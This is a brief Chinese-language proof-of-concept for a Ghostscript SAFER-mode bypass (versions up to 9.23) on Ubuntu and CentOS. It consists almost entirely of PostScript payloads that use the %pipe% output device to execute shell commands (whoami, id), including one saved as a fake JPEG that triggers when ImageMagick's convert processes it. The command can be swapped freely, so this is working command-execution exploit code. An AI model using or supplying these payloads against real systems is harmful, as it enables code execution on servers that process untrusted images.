影响的版本 <= 9.23(全版本、全平台)
Ubuntu
开启 ghostscript
sch01ar@ubuntu:~$ gs -q -sDEVICE=ppmraw -dSAFER -s0utputFile=/dev/null
依次输入
legal { null restore } stopped { pop } if legal mark /OutputFile (%pipe%whoami) currentdevice putdeviceprops showpage
执行结果
poc
%!PS userdict /setpagedevice undef save legal { null restore } stopped { pop } if { legal } stopped { pop } if restore mark /OutputFile (%pipe%whoami) currentdevice putdeviceprops
用 vim 将 poc 保存为 test.jpeg,执行
sch01ar@ubuntu:~$ convert test.jpeg 1.jpg
执行结果,1.jpg 随便写
Centos 7
开启 ghostscript
[root@sch01ar ~]# gs -q -sDEVICE=ppmraw -dSAFER -s0utputFile=/dev/null
依次输入
legal { null restore } stopped { pop } if legal mark /OutputFile (%pipe%id) currentdevice putdeviceprops showpage
执行结果
poc
%!PS userdict /setpagedevice undef legal { null restore } stopped { pop } if legal mark /OutputFile (%pipe%id) currentdevice putdeviceprops